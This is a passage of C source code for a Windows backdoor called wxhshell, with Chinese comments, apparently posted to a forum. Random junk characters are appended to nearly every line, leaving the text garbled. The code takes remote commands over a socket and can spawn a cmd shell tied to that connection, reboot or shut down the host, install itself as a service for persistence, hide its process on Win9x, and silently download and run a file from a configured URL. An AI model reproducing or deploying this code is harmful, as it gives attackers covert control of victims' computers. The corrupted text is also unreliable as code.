?`iBp+iBv  
    switch(cmd[0]) { , X):2_m  
  < duM8   
  // 帮助 *Ux"3IXO  
  case '?': { 1.CYs<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G9%4d;uFT  
    break; fQ) ;+  
  } wEqCuhZ  
  // 安装 6f1Y:qK'@  
  case 'i': { *GnO&&m'B  
    if(Install()) >@W#@W*I@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KLB?GN?Pb  
    else ax}Xsk_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D7wWk ,B  
    break; e70*y'1fu  
    } %oQj^r!Xd  
  // 卸载 KO7cZME  
  case 'r': { H2-(  
    if(Uninstall()) P]^] T}5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J]e&z5c  
    else 2j|Eh   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ".=EAXVU  
    break; v-@@>?W-  
    } "[ ,XS`  
  // 显示 wxhshell 所在路径 rZ7 Ihof  
  case 'p': { %&NK|M+n  
    char svExeFile[MAX_PATH]; ^hJ ,1{o  
    strcpy(svExeFile,"\n\r"); <#Dc(VhT  
      strcat(svExeFile,ExeFile); ppS`zqq $  
        send(wsh,svExeFile,strlen(svExeFile),0); J(GLPCO$K  
    break; l1-FL-1  
    } MR: {Ps&,  
  // 重启 jiDYPYx;I  
  case 'b': { F[Up  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m5*RB1  
    if(Boot(REBOOT)) ^%.<(:k[L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  \ Ld7fP  
    else { kdq55zTc<6  
    closesocket(wsh); 9wzYDKN}  
    ExitThread(0); j/\XeG>  
    } =<icHt6s  
    break; N\$6R-L  
    } nXjUTSGa)  
  // 关机 `MS=/xE  
  case 'd': { ; o=mL_[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qw+">  
    if(Boot(SHUTDOWN)) J.(_c ' r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,GlK_-6>  
    else { f #14%?/  
    closesocket(wsh); V2X(f6v  
    ExitThread(0); -fv.ByyA  
    } J %t1T]y~  
    break; jrR~V* :k  
    } hJM0A3(Cm  
  // 获取shell N4 pA3~P  
  case 's': { a;sZNUSn  
    CmdShell(wsh); <R$|J|  
    closesocket(wsh); >F v8 -  
    ExitThread(0); AseY.0  
    break; !ywc).]e  
  } dLq!t@?iu>  
  // 退出 -1:asM7  
  case 'x': { W\ckt]'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /r6DPR0\  
    CloseIt(wsh); D.~t#a A  
    break; *W  l{2&  
    } g& Rk}/F  
  // 离开 fi)ypv*  
  case 'q': { $Z4p$o dk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h kY E7  
    closesocket(wsh); /uWON4  
    WSACleanup(); YL+W 4 ld  
    exit(1); RPu-E9g@  
    break; `:&{/|uP7  
        } YH9BJ  
  } 53c6dl  
  } gQ[4{+DSf  
&2DW  
  // 提示信息 3ba"[C|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l`k3!EZDS  
} C*$/J\6xy  
  } >4c 1VEi  
4^r}&9C ~  
  return; ME.LS2'n  
} wFD .3!  
0;9 LIL5  
// shell模块句柄 bYz:gbs]4|  
int CmdShell(SOCKET sock) sgX~4W"J  
{ sYL+;(#t  
STARTUPINFO si; QB7<$Bp  
ZeroMemory(&si,sizeof(si)); z'm;H{xf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5BZ5Gl3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d@<XR~);  
PROCESS_INFORMATION ProcessInfo; Ok@5`?08  
char cmdline[]="cmd"; R *U>T$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RK,~mXA  
  return 0; F {[Q  
} 8[k-8h|  
Gs%kqD{=  
// 自身启动模式 iR9iI!+;N  
int StartFromService(void) _> *"6  
{ E4{8 $:q=  
typedef struct c~V\,lcI  
{ ci!c7 ,'c  
  DWORD ExitStatus; JkKI/ 5h  
  DWORD PebBaseAddress; jH8F^KJM[  
  DWORD AffinityMask; *(rq AB0~  
  DWORD BasePriority; B\Uj  
  ULONG UniqueProcessId; ,T]okN5uI  
  ULONG InheritedFromUniqueProcessId; lr1i DwZV  
}   PROCESS_BASIC_INFORMATION; .hvIq .vr  
w$pv  
PROCNTQSIP NtQueryInformationProcess; <X: 9y  
7L!k9"X`0F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iZ{D_uxq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZjzQv)gZ  
"m!Cl-+u  
  HANDLE             hProcess; TPrwC~\B/  
  PROCESS_BASIC_INFORMATION pbi; "Kqe4$  
NTV0DkX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %bAv.'C  
  if(NULL == hInst ) return 0; \t}!Dr+yN  
bNXT*HOZb3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `18G 5R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /h_BF\VBs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $I_aHhKt  
0j*8|{|  
  if (!NtQueryInformationProcess) return 0; WPPmh~:  
5n_<)Ycj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JLjx4B\  
  if(!hProcess) return 0; kWgxswl7H  
nF)|oA   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q|S }5  
=4?m>v,re  
  CloseHandle(hProcess); O:1YG$uKa  
B"G;"X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WKN\* N<  
if(hProcess==NULL) return 0; hp)3@&T  
#q%&,;4  
HMODULE hMod; c(o8uWn  
char procName[255]; "]sr4Jg=  
unsigned long cbNeeded; zgLm~  
P5[.2y_qM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >]Y`-*vw&  
5R qkAC  
  CloseHandle(hProcess); V97Eb>@  
SA'  zy45  
if(strstr(procName,"services")) return 1; // 以服务启动 hse$M\5  
!?]NMf_  
  return 0; // 注册表启动 E}~ GXG  
} zE<}_nA  
Ra.<D.  
// 主模块 <CeDIX t  
int StartWxhshell(LPSTR lpCmdLine) &QvWT+]c'0  
{ ^!=+$@<  
  SOCKET wsl; 4PNl3N3,n  
BOOL val=TRUE; xK /NzVt  
  int port=0; D{ c`H}/`  
  struct sockaddr_in door; ibEQ52  
q")}vN  
  if(wscfg.ws_autoins) Install(); }E*#VA0/nY  
wL~ dZ! ,J  
port=atoi(lpCmdLine); GQq2;%RrF  
8USF;k  
if(port<=0) port=wscfg.ws_port; Fe8xOo6  
KN5.2pp  
  WSADATA data; L~~;i'J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V0"UFy?i  
TTS }, `  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nXXyX[c4e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hmQD-E{Ab  
  door.sin_family = AF_INET; 7n5 bI\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Drc\$<9c@  
  door.sin_port = htons(port); iYR8sg[' #  
PbCXcs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VDBP]LRF  
closesocket(wsl); 8MV=?  
return 1; iN<Tn8-YH6  
} jf@#&%AC9  
)/UPDdO  
  if(listen(wsl,2) == INVALID_SOCKET) { RaKL KZn  
closesocket(wsl); ob-y {x,R  
return 1; YaDr6)  
} Sky!ZN'I  
  Wxhshell(wsl); X]M)T  
  WSACleanup(); .pK_j~}P  
Busxg?=  
return 0; }m(u o T~  
&*r YY\I  
} t\S}eoc  
QXniWJJ  
// 以NT服务方式启动 .(ki(8Z N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~}(}:#>T  
{ S+7>Y? B!  
DWORD   status = 0; ?=-18@:.ss  
  DWORD   specificError = 0xfffffff; (Jy7  
/(5 SJ(a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7C F-?M!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :voQ#f=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :k#Y|(  
  serviceStatus.dwWin32ExitCode     = 0; }qRYXjS  
  serviceStatus.dwServiceSpecificExitCode = 0; uv eTx  
  serviceStatus.dwCheckPoint       = 0; YOy/'Le^:  
  serviceStatus.dwWaitHint       = 0; {O[a +r.n  
N.l+9L0b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /V^Gn;  
  if (hServiceStatusHandle==0) return; ">j}!n 8J  
<%B sb}h,  
status = GetLastError(); 9Y3_.qa(.  
  if (status!=NO_ERROR) c\065#f!  
{ ^/U-(4O05*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UzWf_r  
    serviceStatus.dwCheckPoint       = 0; Tm 6<^5t  
    serviceStatus.dwWaitHint       = 0; S)T~vK(n  
    serviceStatus.dwWin32ExitCode     = status; =bi:<%"  
    serviceStatus.dwServiceSpecificExitCode = specificError; g kT`C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c R*D)'/tl  
    return; ~K5eO-  
  } X3 P~z8_  
4 bw8^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !"Jne'f  
  serviceStatus.dwCheckPoint       = 0; RQ;pAO  
  serviceStatus.dwWaitHint       = 0; KC[ql}JP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D37N*9}  
} f![?og)I%  
TmxhP nJ~  
// 处理NT服务事件,比如:启动、停止 qH1[Bs Ox  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4$oNh)+/h  
{ 40w,:$  
switch(fdwControl) |Ah'KpL8W  
{ `A_CLVE  
case SERVICE_CONTROL_STOP: SxI='z_S.f  
  serviceStatus.dwWin32ExitCode = 0; c |.~f+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -~n^?0  
  serviceStatus.dwCheckPoint   = 0; *<c, x8\s9  
  serviceStatus.dwWaitHint     = 0; 0Ihp`QGU:  
  { [+\=x[q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G>& Tap>  
  } 9)9p<(b $  
  return; hd^?mZ  
case SERVICE_CONTROL_PAUSE: x1VBO.t=*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d}2tqPya  
  break; CoO..  
case SERVICE_CONTROL_CONTINUE: gi\2bzWkbX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S~X&^JvT  
  break; ~)xg7\k  
case SERVICE_CONTROL_INTERROGATE: M=:!d$c  
  break; Ta8;   
}; -.<fGhmU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ce7$r*@!  
} +L03. rf  
6[b'60CuZL  
// 标准应用程序主函数 jeXP|;#Una  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C,r[H5G#  
{ a|?&  
,< Zu4bww  
// 获取操作系统版本 dCc"Qr[k  
OsIsNt=GetOsVer(); T5H[~b|9-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T;!: A  
}-4@EC>  
  // 从命令行安装 zW.I7Z0^  
  if(strpbrk(lpCmdLine,"iI")) Install(); Jmg<mjq/G  
Gmi ^2?Z(  
  // 下载执行文件 R!{^qHb  
if(wscfg.ws_downexe) { je LRS8];  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B?n 6o|8  
  WinExec(wscfg.ws_filenam,SW_HIDE); {| ~  
} Kcf1$`F24  
J< Ljg<t+  
if(!OsIsNt) { *9T a0e*  
// 如果时win9x,隐藏进程并且设置为注册表启动 w{TZN{Y  
HideProc(); @pq2Z^SQH  
StartWxhshell(lpCmdLine); $ 1lI6 = ,  
} mW EaUi)Zz  
else a4{~.Mp  
  if(StartFromService()) sT8(f=^)8F  
  // 以服务方式启动 J,q6  
  StartServiceCtrlDispatcher(DispatchTable); Uao8#<CkvJ  
else 0i/!by {@  
  // 普通方式启动 ),cozN=NM  
  StartWxhshell(lpCmdLine); @ByD=  
v3\ |  
return 0; B\^myg4  
}
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只看该作者 1 发表于: 2006-10-10
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